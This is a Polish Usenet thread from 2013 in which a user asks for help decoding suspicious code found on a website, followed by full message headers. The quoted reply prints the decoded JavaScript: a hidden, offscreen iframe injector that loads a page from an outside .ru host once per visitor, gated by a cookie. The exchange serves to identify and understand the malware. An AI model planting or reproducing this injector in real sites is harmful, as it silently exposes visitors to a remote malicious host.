Article View: pl.comp.lang.javascript
Article #51370Re: Podejrzany kod na stronie
From: G.K.
Date: Mon, 23 Sep 2013 18:49
Date: Mon, 23 Sep 2013 18:49
63 lines
2733 bytes
2733 bytes
Dzięki!
W dniu 2013-09-23 12:02, rePeter pisze:
> Sun, 22 Sep 2013 18:24:43 +0200
> "G.K." <"tertb69[rot13]"@tnmrgn.cy> napisał(a):
>
>> Witam,
>> Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go
>> odkodowac? Co on robi?
>
> Wstrzykuje ruskiego szpiega ;)
>
> function cy09() {
> var static='ajax';
> var controller='index.php';
> var cy = document.createElement('iframe');
> cy.src = 'http://fortuna-taxi.ru/traf.php';
> cy.style.position = 'absolute';
> cy.style.color = '9954';
> cy.style.height = '9954px';
> cy.style.width = '9954px';
> cy.style.left = '10009954';
> cy.style.top = '10009954';
> if (!document.getElementById('cy')) {
> document.write('
> ');
> document.getElementById('cy').appendChild(cy);
> }
> }
> function SetCookie(cookieName,cookieValue,nDays,path) {
> var today = new Date();
> var expire = new Date();
> if (nDays==null || nDays==0)
> nDays=1;
> expire.setTime(today.getTime() + 3600000*24*nDays);
> document.cookie = cookieName+"="+escape(cookieValue) + ";
> expires=" + expire.toGMTString() + ((path) ? ";
> path=" + path : "");
> }
> function GetCookie( name ) {
> var start = document.cookie.indexOf( name + "=" );
> var len = start + name.length + 1;
> if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
> return null;
> }
> if ( start == -1 )
> return null;
> var end = document.cookie.indexOf( ";", len );
> if ( end == -1 )
> end = document.cookie.length;
> return unescape( document.cookie.substring( len, end ) );
> }
> if (navigator.cookieEnabled) {
> if(GetCookie('visited_uq')==55){
> }else{
> SetCookie('visited_uq', '55', '1', '/');
> cy09();
> }
> }
>
>
Technical Details
Message-ID:
<l1q2g0$ook$1@news.task.gda.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!agh.edu.pl!news.agh.edu.pl!newsfeed2.atman.pl!newsfeed.atman.pl!news.task.gda.pl!not-for-mailReferences:
<l1n5k0$onm$1@news.task.gda.pl> <20130923120221.4d761977@spam.no>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!agh.edu.pl!news.agh.edu.pl!newsfeed2.atman.pl!newsfeed.atman.pl!news.task.gda.pl!not-for-mail From: "G.K." <"tertb69[rot13]"@tnmrgn.cy> Newsgroups: pl.comp.lang.javascript Subject: Re: Podejrzany kod na stronie Date: Mon, 23 Sep 2013 20:49:42 +0200 Organization: CI TASK http://www.task.gda.pl/ Lines: 64 Message-ID: <l1q2g0$ook$1@news.task.gda.pl> References: <l1n5k0$onm$1@news.task.gda.pl> <20130923120221.4d761977@spam.no> Reply-To: "tertb69[rot13]"@tnmrgn.cy NNTP-Posting-Host: cable194106211-134.astral.lodz.pl Mime-Version: 1.0 X-Trace: news.task.gda.pl 1379962176 25364 194.106.211.134 (23 Sep 2013 18:49:36 GMT) X-Complaints-To: abuse@news.task.gda.pl NNTP-Posting-Date: Mon, 23 Sep 2013 18:49:36 +0000 (UTC) User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 In-Reply-To: <20130923120221.4d761977@spam.no> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit